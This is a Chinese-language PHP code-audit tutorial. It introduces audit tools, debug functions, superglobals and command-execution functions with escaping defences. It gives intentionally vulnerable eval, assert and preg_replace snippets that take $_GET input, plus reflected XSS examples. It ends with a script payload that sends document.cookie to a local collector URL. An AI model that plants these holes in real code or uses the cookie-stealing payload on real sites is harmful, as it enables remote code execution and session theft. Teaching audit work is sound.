第一节:PHP 审计环境、审计工具、审计平台介绍与安装
作者:暗月(mOon ) 博客:www.moonsec.com
0x01:测试环境
wamp 安装
0x02:PHP 编写工具
EditPlu
Notepad++
Zendstudio 10
0x03:代码审计工具
Seay 代码审计工具
0x04:代码审计平台安装
DVWA-1.0.8
ZVulDrill
第二节:代码审计中常用代码调试函数与注释
0x01:调试函数
echo (print):
这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行
到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump
这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口
返回值,或者某些不太确定变量的时候,都可以使用这两个 API。
var_dump 会额外输出数据类型:
print_r 输出:格式很整齐,跟 var_dump 的区别是没有类型数据,并且布尔值
的 false 和值 NULL 输出为空
var_export 输出,所有的数据是可以作为组织好的变量输出的,都是能够作为
直接赋值使用:
需要注意的一点是, var_export 对于资源型的变量会输出 NULL
debug_zval_dump 输出结果跟 var_dump 类似,唯一增加的一个值是 refcount,
就是记录一个变量被引用了多少次,这是 php 的 copy on write (写时复制) 的
机制的一个重要特点。
exit()退出函数
第三节 代码审计涉及到的超全局变量
超全局变量 ― 超全局变量是在全部作用域中始终可用的内置变量
在 php 中可由用户操作的全局变量列表如下:
$GLOBALS ― 引用全局作用域中可用的全部变量
$_SERVER ― 服务器和执行环境信息
$_GET ― HTTP GET 变量
$_POST ― HTTP POST 变量
$_FILES ― HTTP 文件上传变量
$_REQUEST ― HTTP Request 变量
$_SESSION ― Session 变量
$_ENV ― 环境变量
$_COOKIE ― HTTP Cookies
已经被弃用的
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
第四节 代码审计命令注入
PHP 执行系统命令可以使用以下几个函数:
Linux unix
Wind os
system、exec、passthru、・・ 反引号、shell_exec、popen、proc_open、pcntl_exec
string system ( string $command [, int &$return_var ] )
string exec ( string $command [, array &$output [, int &$return_var ]] )
void passthru (string command, int &return_var)
string shell_exec (string command)
`` 反引号
resource popen ( string $command , string $mode )
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array
$env [, array $other_options ]]] )
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
防御函数
当用户提供的数据传入此函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保用户欺骗
系统从而执行任意命令。
escapeshellarg ( string $arg )
可以用到 php 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中
文传递给 escapeshellarg,会被过滤掉。
escapeshellcmd ( string $command )
escapeshellcmd()函数会转义命令中的所有 shell 元字符来完成工作。这些元字符包括:# & ; ` ,
| * ? ~ < > ^ ( ) [ ] { } $ \\。
第五节 PHP 代码审计代码执行注入
在 php 里面有一些函数将输入的字符串参数当作 PHP 程序代码来执行
一:常见代码执行函数
eval 、assert 、preg_replace
eval 代码执行注入
<?php
if(isset($_GET['moon'])){
$moon=$_GET['moon'];
eval("\$moon = $moon;");
}
?>
第二:assert 代码执行注入
<?php
if(isset($_GET['moon'])){
$moon=$_GET['moon'];
assert("\$moon = $moon;");
}
?>
第三:preg_replace 正则代码执行注入
当 pattern 中存在/e 模式修饰符,即允许执行代码。
pattern 在一个参数
<?php
echo $regexp = $_GET['reg'];
$var = '<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);
?>
replacement 第二个参数
<?php
preg_replace("/moon/e",$_GET['moon'],"I love moon");
?>
preg_replace()第三个参数注射
<?php
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['moon']);
?>
第六节 PHP 代码审计 XSS 反射型漏洞
xss 漏洞大致分三种
反射型 XSS 漏洞
保存型 XSS 漏洞
基于 DOM 的 XSS 漏洞
反射型 XSS 漏洞
它通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,特有的恶意
代码参数被 HTML 解析、执行。
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
一:变量的直接输出
<?php
echo $_GET['xss'];
?>
二:$_SERVER 变量参数
$_SERVER['PHP_SELF']
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REFERER']
$_SERVER['REQUEST_URI']
三:http 请求格式
User-Agent:
Referer
四:利用
Test <script>alert(1);</script>
Cookie
<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocument.cookie;</script>
modify headers